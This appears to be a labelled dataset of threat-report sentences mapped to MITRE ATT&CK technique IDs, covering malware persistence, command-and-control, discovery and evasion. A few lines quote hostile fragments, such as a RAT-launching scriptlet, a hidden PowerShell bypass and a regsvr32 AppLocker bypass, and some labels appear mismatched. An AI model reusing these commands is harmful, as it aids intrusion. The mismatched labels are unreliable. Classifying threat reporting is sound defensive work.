+lists the current running processes on the system.	['T1057']
+lists the system’s processes.	['T1057']
+logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.	['T1027']
+main method of communicating with its C2 servers is using HTTP or HTTPS.	['T1071']
+malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.	['T1547.001']
+malware can attempt to disable security features in Microsoft Office and Windows Defender using the taskkill command.	['T1562.001']
+malware can leverage the Windows API call, CreateProcessA(), for execution.	['T1106']
+malware can take a screenshot and upload the file to its C2 server.	['T1113']
+malware contains a secondary fallback command and control server that is contacted after the primary command and control server.	['T1008']
+malware gathers a list of running processes.	['T1057']
+malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.	['T1547.001']
+malware has used .vbs scripts for execution.	['T1064']
+malware KiloAlfa contains keylogging functionality.	['T1056']
+malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.	['T1008']
+malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.	['T1047']
+malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.	['T1542.003']
+marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.	['T1070.004']
+may collect information about the currently logged in user by running whoami on a victim.	['T1033']
+may create the file %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.	['T1547.009']
+may use ipconfig /all to gather system network configuration details.	['T1016']
+mimics filenames from %SYSTEM%\System32 to hide DLLs in %WINDIR% and/or %TEMP%.	['T1036']
+modifies the firewall Registry key SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\\List.	['T1112']
+network traffic can communicate over HTTP.	['T1071']
+network traffic communicates over a raw socket.	['T1095']
+network traffic is Base64-encoded plaintext.	['T1132']
+New-UserPersistenceOption Persistence argument can be used to establish via a .	['T1053.005']
+New-UserPersistenceOption Persistence argument can be used to establish via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.	['T1547.001']
+obfuscates API function names using a substitute cipher combined with Base64 encoding.	['T1027']
+obtains the victim username and saves it to a file.	['T1033']
+Once  gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.	['T1199']
+opens cmd.exe on the victim.	['T1059']
+overwrites Explorer’s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.	['T1055.011']
+Part of 's operation involved using  modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.	['T1092']
+performs checks for various antivirus and security products during installation.	['T1518.001']
+performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.	['T1003']
+performs discovery of permission groups net group /domain.	['T1069']
+performs process discovery using tasklist commands.	['T1057']
+primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.	['T1008']
+provides a reverse shell connection on 8338/TCP, encrypted via AES.	['T1573', 'T1059', 'T1095']
+queries Registry values as part of its anti-sandbox checks.	['T1012']
+queries the registry to look for information about Terminal Services.	['T1012']
+queries the system to identify existing services.	['T1007']
+Recent versions of  delete files and registry keys created by the malware.	['T1070.004']
+recursively searches through directories for files.	['T1083']
+removes all files in the /tmp directory.	['T1070.004']
+retrieves additional malicious payloads from the C2 server.	['T1105']
+saves system information into an XML file that is then XOR-encoded.	['T1486']
+scanned network services to search for vulnerabilities in the victim system.	['T1046']
+schedules tasks to invoke its components in order to establish persistence.	['T1053.005']
+searches for administrator accounts on both the local victim machine and the network.	['T1087']
+searches for removable media and duplicates itself onto it.	['T1091']
+searches for specified files.	['T1083']
+sends the logged-on username to its hard-coded C2.	['T1033']
+sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.	['T1598.002']
+sets its DLL file as a new service in the Registry to establish persistence.	['T1543.003']
+Several  malware families install themselves as new services on victims.	['T1543.003']
+Several tools used by  have been command-line driven.	['T1059']
+Some  components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.	['T1102']
+Some data in  is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.	['T1027']
+Some  DLL files have been packed with UPX.	['T1027.002']
+Some  samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.	['T1001']
+Some  variants create a new Windows service to establish persistence.	['T1543.003']
+Some  variants install .dll files as services with names generated by a list of hard-coded strings.	['T1543.003']
+Some variants of the  Trojan have been known to store data in Extended Attributes.	['T1564.004']
+Some variants of  use RC4 to encrypt C2 traffic.	['T1573']
+stages the output from command execution and collected files in specific folders before exfiltration.	['T1074']
+stores the gathered data from the machine in .db files and .bmp files under four separate locations.	['T1074']
+surveys a system upon check-in to discover running services and associated processes using the tasklist /svc command.	['T1007']
+"The ""ZJ"" variant of  allows ""ZJ link"" infections with Internet access to relay traffic from ""ZJ listen"" to a command server."	['T1090']
+The discovery modules used with  can collect information on open windows.	['T1010']
+The  group is known to have used pass the hash.	['T1550.002']
+The main  dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit. Newer versions of  will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.	['T1518.001']
+The  malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.	['T1071']
+The net start and net stop commands can be used in  to execute or stop Windows services.	['T1569.002']
+The net start command can be used in  to find information about Windows services.	['T1007']
+The net use \\system\share /delete command can be used in  to remove an established connection to a network share.	['T1070.005']
+The net view \\remotesystem and net share commands in  can be used to find shared drives and directories on remote and local systems respectively.	['T1135']
+The original variant of  encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation.  has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of  use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.	['T1573']
+The PowerShell script with the  payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.	['T1027']
+The  trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.	['T1543.001']
+To assist in establishing persistence,  creates %APPDATA%\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”.	['T1064']
+took screen shots using their Windows malware.	['T1113']
+typically loads its DLL file into a legitimate signed Java or VMware executable.	['T1574.002']
+uploads and downloads files to and from the victim’s machine.	['T1105']
+used a .NET tool to dump data from Microsoft Exchange mailboxes.	['T1114']
+used a batch script to gather folder and file names from victim hosts.	['T1083']
+used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.	['T1560', 'T1119']
+used a tool called BruteForcer to perform a brute force attack.	['T1110']
+used a tool called Imecab to set up a persistent remote access account on the victim machine.	['T1108', 'T1136']
+used Kerberos ticket attacks for lateral movement.	['T1550.002']
+used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.	['T1078']
+used named and hijacked scheduled tasks to establish persistence.	['T1053.005']
+used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router.  has also used a machine to relay and obscure communications between  and their server.	['T1090']
+used PowerShell commands to execute payloads.	['T1059.001']
+used SMB for C2.	['T1071']
+used SMB over ports 445 or 139 for C2. The group also established encrypted connections over port 443.	['T1043']
+used stolen certificates to sign its malware.	['T1553.002']
+used the command query user on victim hosts.	['T1033']
+used the Plink utility and other tools to create tunnels to C2 servers.	['T1573']
+used Visual Basic Scripts (VBS), JavaScript code, batch files, and .SCT files on victim machines.	['T1064']
+used WMI to steal credentials and execute backdoors at a future time.	['T1047']
+uses a batch file to delete itself.	['T1064']
+uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.	['T1548.002']
+uses a Launch Agent to persist.	['T1543.001']
+uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.	['T1027']
+uses an encrypted file to store commands and configuration values.	['T1140']
+uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.	['T1546.003']
+uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.	['T1092']
+uses batch scripts for various purposes, including to restart and uninstall itself.	['T1064']
+uses cmd.exe to execute commands.	['T1059']
+uses command-line interaction to search files and directories.	['T1083']
+uses HTTPS to conceal C2 communications.	['T1071']
+uses launchctl to enable screen sharing on the victim’s machine.	['T1569.001']
+uses NetUser-GetInfo to identify that it is running under an “Admin” account on the local system.	['T1033']
+uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.	['T1027']
+uses port 443 for the control server communications.	['T1043']
+uses port 52100 and 5876 for C2 communications.	['T1571']
+uses Port Numbers 80, 8080, 8000, and 443 for communication to the C2 servers.	['T1043']
+uses PowerShell for execution as well as PowerShell Empire to establish persistence.	['T1059.001']
+uses Python for scripting to execute additional commands.	['T1064']
+uses rundll32.exe in a Registry value added to establish persistence.	['T1218.011']
+uses rundll32.exe to load.	['T1218.011']
+uses the netstat command to find open ports on the victim’s machine.	['T1049']
+uses the net view command for discovery.	['T1018']
+uses the zip -r command to compress the data collected on the local system.	['T1560']
+uses token manipulation with NtFilterToken as part of UAC bypass.	['T1134']
+uses Tor for command and control.	['T1090.003']
+uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.	['T1102']
+"uses Windows services typically named ""javamtsup"" for persistence."	['T1543.003']
+uses WinRAR to compress data that is intended to be exfiltrated.	['T1560']
+Various  malware modifies the Windows firewall to allow incoming connections or disable it entirely using .  malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally,  malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.	['T1562.001']
+will look for the current IP address.	['T1016']
+What does the resulting watering hole look like? The websites were compromised to redirect visitors to instances of both ScanBox and BEeF	['T1189']
+Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets	['T1189']
+This is followed by a number of Linux shell command style commands related to the malware establishing persistence	['T1059']
+Tracked Commands During observation of the described above “router-PC” CnC we tracked the following commands delivered in the config file before the server went offline	['T1059']
+The command tab will show previously issued commands, when they were issued, and their status, as seen in Figure 4	['T1059']
+Figure 7 shows just how similar these two batch scripts are with several of the headers being exactly the same and a majority of the commands being the same with the Helminth commands having the 2>&1 suffix to include command errors with the output	['T1059']
+For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands	['T1059']
+The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs	['T1059']
+The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute any scripts/commands and receive the result via HTTP requests	['T1059']
+<?XML version=”1.0″?> <scriptlet> <registration description=”fjzmpcjvqp” progid=”fjzmpcjvqp” version=”1.00″ classid=”{204774CF-D251-4F02-855B-2BE70585184B}” remotable=”true” > </registration> <script language=”JScript”> <![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“cmd /c %tmp%\\qrat.exe”,0,false); exit(); ]]> </script> </scriptlet> After the initial dropper (qrat.exe) has been executed by the embedded scriptlet, it creates a directory in C:\Users\%username%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0 and unpacks/drops the final QuasarRAT binary named microsoft_network.exe	['T1059']
+C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS:    Command Description   0 Kill BADNEWS	['T1059']
+Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely	['T1059']
+BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration	['T1059']
+The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands	['T1059']
+After the payload is launched, the shellcode runs the following commands to prevent Microsoft Word from showing a recovery dialog:   Lastly, the shellcode overwrites the malicious file with a decoy document related to the Indian defense forces’ pay scale / matrix (Figure 3), displays it to the user and terminates the exploited instance of Microsoft Word	['T1027']
+This build tool encrypts the binary’s strings with a fresh key for each build	['T1027']
+The group clearly shows a preference for using a simple downloader like Zebrocy as first-stage payloads in these attacks	['T1027']
+APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property	['T1027']
+When we converted the dates in the file strings from the Solar Hijri calendar to the Gregorian one, we found that they were close to the compilation times of the executables and also close to when Cadelle’s targets were initially compromised	['T1027']
+Some of the key obfuscation techniques used are:   Character Replacement: Several instances of character replacement and string reversing techniques (Figure 10) make analysis difficult	['T1027']
+The current version, HawkEye Reborn v9 has been modified from earlier versions and heavily obfuscated to make analysis more difficult.The email campaigns that have been observed feature characteristics that are consistent with what is commonly seen with malspam campaigns, with the emails purporting to be associated with various documents such as invoices, bills of materials, order confirmations, and other corporate functions	['T1027']
+The AutoIT script is offering a lot of other functions which are not used in this campaign, like anti-virtual machine detection, USB drive infection and others.The final payload — which we found in the AutoIT PE file resource section and was started by the process-hollowing shellcode — is a .NET PE file that's obfuscated with ConfuserEx	['T1027']
+All strings below are encrypted via AES256 and base64 encoding	['T1027']
+Embedded Trojan This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document	['T1027']
+Figure 3 shows this webshell’s code that will run supplied JScript provided in base64 encoded format within the URL within a parameter	['T1027']
+Figure 6: Assembly view of Sample 3 root installation related byte arrays As it turns out, the referenced byte mask is applied to the other byte arrays using a rolling double-XOR algorithm to construct malware installation paths, filenames, and descriptions for a Linux root account	['T1573']
+It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway	['T1016']
+If Adobe Flash or Microsoft Silverlight is no longer required, DHS recommends that those applications be removed from systems.The IOCs provided with this alert include IP addresses determined to be part of the HIDDEN COBRA botnet infrastructure, identified as DeltaCharlie	['T1016']
+The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh; Android.The malware begins by creating a web service object and uses the following URL within its configuration: http:// service.chrome-up[.]date:8080 /WebService.asmx It then calls a function called “SetLog2”, which sets variables for the system’s IP address, MAC address and hostname	['T1016']
+The public IP is then POSTed along with OS Version, Internal IP, Machine Name, Domain Name, UserName after being encrypted to the previously chosen URL to register a new victim	['T1016']
+The email address is associated with the Lebanese domain of a major global financial institution	['T1016']
+Examining passive DNS (pDNS) records from PassiveTotal revealed several domain names associated with this IP that mimic popular technology companies	['T1016']
+The code will gather the information and format the list using the following HTML to create a table: <table> <tr><td>Type</td><td>Owner</td><td>Permissions</td><td>Created</td><td>Modificated</td><td>Size</td><td>Path</td></tr> <tr><td>[fileType]</td><td>[fileOwnerAccountName]</td><td>[number filePosixPermissions]</td><td>[fileCreationDate]</td><td>[fileModificationDate]</td><td>[fileSize]</td><td>[file path?]</td></tr> … </table>    Table 1 Commands available within XAgent OSX The ‘showBackupIosFolder’ command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad	['T1016']
+APT40 relies heavily on web shells for an initial foothold into an organization	['T1505.003']
+The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at “%temp%\Save.tmp”	['T1010']
+Destroy Evidence: Securely deleted logs, as well as deployed and executed disk-wiping malware, to cover tracks and disrupt forensic analysis	['T1070.004']
+In the event it does, Reaver will move this file to ‘%TEMP%\~FJIOW.tmp’ and delete this new file	['T1070.004']
+Size Expansion of Configuration Information PlugX is designed to run based on its configuration information stored in itself	['T1082']
+System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors	['T1082']
+Cadelspy initially arrives on the computer as a dropper, which downloads two installer components catering to whether the victim is running a 32-bit or 64-bit system	['T1082']
+"You can see that in addition to the code, the author copy-pasted English typos such as ""IE Registery"":PDB PathsWe can clearly identify a pattern in the PDB naming convention of all the binaries mentioned in this article.ROKRAT:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb (from the ""Evil New Year"" campaign)d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb (from the ""North Korean Human Rights"" campaignD:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb (ROKRAT Sample from an unidentified campaign from June)Wiper:D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb (From the ""Are You Happy?"" campaign)Summary GraphHere is a graph to visualize the similarities and differences between each campaign mentioned in this article:ConclusionSouth Korea is becoming an important target for malicious actors and the techniques used are becoming specific to the region (for example: use of native language to try and ensure the targets feel that the information, document or email being sent to them has added legitimacy)"	['T1082']
+Parameter   Description    ‘u=’  This parameter contains target machine information in the following format: <Computer Name>, <User Name>, <Windows Versions>, <Processor Architecture>, <1.3>, < KdfrJKN >, <Volume Serial Number>    ‘&h=’  This parameter includes the information about the command executed and its results	['T1082']
+The rest of MirageFox functions similarly to previous malware created by APT15, first collecting information about the computer like the username, CPU information, architecture, and so forth	['T1082']
+The HandlePP::getClientID method uses the following environment variables:   Figure 11. Serial number   Figure 12. Hardware UUID   Figure 13. MAC address   Figure 14. Randomly generated UUID For the initial information packet, the backdoor also collects the following:   Figure 15. OS version Running getpwuid ->pw_name , scutil – -get ComputerName, and uname –m will provide the following returns respectively:  Mac OSX 10.12	['T1082']
+Additional information For more information about the attacks and the indicators of compromise, please contact: intelreports@kaspersky.com Alternatively, please visit: https://www.kaspersky.com/enterprise-security/apt-intelligence-reporting To find more information about cybersecurity awareness training for enterprise or government staff, go to Kaspersky Security Awareness	['T1082']
+Is this a Windows-only threat? Which versions of Windows are targeted? Poseidon is particularly focused on the Microsoft Windows operating system family, specifically customizing the infection method for each one so as to gather different information and hide its presence after the initial infection	['T1082']
+URL parameter Sample data Description   c= Victim->Administrator Hostname and username   l= 192.168.1.100 Compromised system's IP address   o= 5,1,1,32 Windows major and minor version, coupled with architecture (32 v	['T1082']
+The PE compile time of loaders and the create time of droppers (Word documents) are plotted in the graph	['T1124']
+Alarmingly, the detection score on VirusTotal for all of the documents continues to be 0/56 from the time the first documents were uploaded (1.6.2017) up until the date of this publication	['T1124']
+The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC)	['T1124']
+The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set	['T1124']
+Figure 2: Exploit Shellcode used to Locate and Decode Payload The shellcode (Figure 2) searches for and decodes the executable payload contained in memory between the beginning and ending file markers 0xBABABABA and 0xBBBBBBBB, respectively	['T1140']
+Comnie continues to load an embedded bitmap (BMP) file and decrypt data at offset 0x512	['T1140']
+The subdomain 676f6f646c75636b is a hex encoded string which decodes to goodluck	['T1140']
+The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime	['T1140']
+Even if the arsenal of this actor is diverse, we have identified some patterns, copy-paste code from various public repositories and similarities between the different piece of code	['T1140']
+The MirageFox binaries export a function called dll_wWinMain, the name of an export in vsodscpl.dll, a module by McAfee that is loaded by a few of their executables that import and call this function	['T1140']
+The malware proceeds to decrypt and embedded configuration of 128 bytes using a simple XOR routine	['T1140']
+The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data	['T1140']
+No pdb/debug strings are present in the code	['T1140']
+Malicious document used by Tropic Trooper PDB Strings as Context Clues The MSI file has two program database (PDB) strings inside: one belonging to the MSI file, and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB)	['T1140']
+Snapshot of code we used to decrypt TClient’s configuration   Figure 11	['T1140']
+This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network	['T1543', 'T1543.003']
+BootComplete starts the AutoStartup service and the AutoStartup service makes sure that MainActivity is always running	['T1543', 'T1543.003']
+The executable attempts to download a couple of files from different sources and saves them in the AppData and Startup folders for persistence, then invokes the first downloaded file – Picture2.exe	['T1105']
+It exploits CVE-2017-0199 to download the second stage payload from 193.23.181.151 (Figure 3)	['T1105']
+Zyklon is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal	['T1105']
+Figure 4: Embedded URL in OLE object    Figure 5: HTTP GET request to download the next level payload The downloaded file, doc.doc, is XML-based and contains a PowerShell command (shown in Figure 6) that subsequently downloads the binary Pause.ps1	['T1105']
+Figure 8: Network communication to download the Pause.ps1 payload Zyklon Delivery In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded (as seen in Figure 8)	['T1105']
+As shown in Figure 12, the script within the dupatechecker.doc file attempts to download another file named dupatechecker.exe from the same server	['T1105']
+Most of them manipulate the machine to download and execute different files	['T1105']
+A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution.	['T1105']
+SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests	['T1071']
+Pseudo-HTTP Protocol Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character	['T1071']
+After Comnie collects the remote C2 information, it will communicate with these remote servers using HTTP requests	['T1071']
+If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items:  User Agent Format and structure of the HTTP Uniform Resource Identifier (URI)   Figure 3: HIGHTIDE GET Request Example Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158	['T1071']
+Figure 9: Command logs after execution Network Communications FELIXROOT communicates with its C2 via HTTP and HTTPS POST protocols	['T1071']
+The following shows the specific IP addresses or strings used by the C2 to transmit a success or cancel message depending on the type of DNS query used for C2 communications:    DNS Type Successful Cancel   A,AC 1.1.1.\d+ 1.2.9.\d+   AAAA 2a00:: 2200::   CNAME,MX,TXT,SRV,SOA ok cancel    After providing system specific information, the payload will Interact with the C2 server to obtain commands, which the payload refers to as jobs	['T1071']
+It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful	['T1071']
+Finally, the first DLL adds the registry key “SysRat,” at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup	['T1547.001']
+APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g	['T1547.009']
+The .lnk file extracted from the .7zip file	['T1547.009']
+The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up	['T1547.009']
+If this file exists, the content is read in order to obtain a path to find a second file with the LNK (link) extension	['T1547.009']
+When it is executed, it creates two files: an LNK file that points to %system32%\rundll32.exe, and the FELIXROOT loader component	['T1547.009']
+In this campaign the KopiLuwak backdoor was encoded and delivered in a Windows shortcut (.lnk) file	['T1547.009']
+When the Trojan runs as an executable within the “DsvHelper” folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the ‘DsvHelper’ folder	['T1547.009']
+The tactic also serves to mask malicious C2 and exfiltration traffic and make it appear innocuous	['T1132']
+The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload	['T1132']
+McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access	['T1132']
+The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order	['T1132']
+Initial Compromise For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection	['T1598.002']
+In order to meet the phishing emails’ infrastructure requirements, disposable domains and emails were used as the delivery medium	['T1598.002']
+Initial Attack On December 13, 2017, a spear phishing email was sent from the email address of yuri.sidorav@yandex[.]ru to a high ranking individual within a British government agency	['T1598.002']
+Traps blocks all of the files currently associated with Gorgon Group    Appendix   Analysis of a targeted attack “1971 Liberation War Freedom Fighters in Pakistan ArmyCustody Database98” The delivery documents used in the targeted attacks are Microsoft Office documents that contain a macro that attempts to compromise the system	['T1598.002']
+The victim will then see a prompt to Enable Content as with any malicious macro document as seen in Figure 5	['T1204']
+Figure 5 Remote template document requesting the user to click “Enable Content” to run macro Clustering The delivery documents used in the October and November waves shared a large number of similarities, as seen in Table 1, which allowed us to cluster the activity together	['T1204']
+In one example, the Word document contained a button with the label “First click “Enable Content” above the page, then click here to fill out the form”  This string attempts to trick the user into enabling macros to execute the malicious code within the macro	['T1204']
+Malicious Macro Analysis When the victim opens the ThreeDollars document they are presented with the lure image and prompted to click on the “Enable Content” button	['T1204']
+Figure 9: Example of callback Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2	['T1573']
+A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately	['T1573']
+It has historically leveraged legitimate third-party websites to host the malware’s command and control (C2) information, acting as “dead drops”	['T1102']
+The group also used GitHub as a repository for tools that it downloaded post-compromise.	['T1102']
+The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment	['T1018']
+The primary difference was that this sample was encrypted and password protected, requiring the victim to enter in a password which was likely provided by the adversary to view the document	['T1018']
+(Source: Dell SecureWorks) Over a few days' span, the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance	['T1018']
+NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:  Login passwords of remote computers on LAN	['T1003']
+It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents	['T1083']
+Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states	['T1083']
+17 Complete List of Malware Files  Fig	['T1083']
+Some lure documents used in these attacks are shown below: Decoy documents used in BlackOasis attacks To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015:  CVE-2015-5119 – June 2015 CVE-2016-0984 – June 2015 CVE-2016-4117 – May 2016 CVE-2017-8759 – Sept 2017 CVE-2017-11292 – Oct 2017  Attacks Leveraging CVE-2017-11292 The attack begins with the delivery of an Office document, presumably in this instance via e-mail.  Embedded within the document is an ActiveX object which contains the Flash exploit	['T1203']
+Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time.  Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively.  These exploit chains also delivered FinSpy installation packages	['T1068']
+Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this.  Users of Kaspersky products are protected as well against this threat by one of the following detections:  PDM:Exploit.Win32.Generic HEUR:Exploit.SWF.Generic HEUR:Exploit.MSOffice.Generic  More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service	['T1068']
+These vulnerabilities were patched last December 28 2015, April 5, 2016, and May 12, 2016, respectively	['T1068']
+Trend Micro Solutions Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs, as well as those that exploit unpatched vulnerabilities	['T1068']
+exploits a known Windows privilege escalation vulnerability ( ) on unpatched computers.	['T1068']
+Detecting Avast  A unique feature of this latest Astaroth Trojan campaign is the malware's ability to search for specific security products and exploit them	['T1518.001']
+Checks for the presence of security tools (detailed in the Appendix) and if any of these security tools are discovered, then the system will be shut down, as shown in Figure 14	['T1518.001']
+APT38 is characterized by long planning, extended periods of access to compromised victim environments preceding any attempts to steal money, fluency across mixed operating system environments, the use of custom developed tools, and a constant effort to thwart investigations capped with a willingness to completely destroy compromised machines afterwards	['T1005']
+Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows’ Remote Desktop Protocol (RDP).	['T1021.001']
+FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers.	['T1021.001']
+Each of the emails had a password protected RAR archive attached named credential.rar	['T1560']
+Msoffice365cdn[.]com resolves to 80.82.79.221, which resides on the same class C network range as the IP resolution of office365-technical[.]info, which resolves to 80.82.79.240	['T1571', 'T1043']
+SpyNote RAT builder The SpyNote Remote Access Trojan (RAT) builder is gaining popularity in the hacking community, so we decided to study its pervasiveness	['T1571', 'T1043']
+On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig”	['T1055']
+This utility is able to execute complicated WQL queries and WMI methods	['T1047']
+POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI	['T1047']
+WMI permanent event subscriptions can be used to trigger actions when specified conditions are met	['T1047']
+Initial triage begins with connecting to Windows Management Instrumentation (WMI) via the “ROOT\CIMV2” namespace	['T1047']
+Most of the PowerShell commands would call Windows Management Instrumentation (WMI)	['T1047']
+If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe	['T1218.011']
+The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt:       regsvr32.exe /s /n /u /i:%TEMP%\12-B-366.txt scrobj.dll     The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module	['T1218.010']
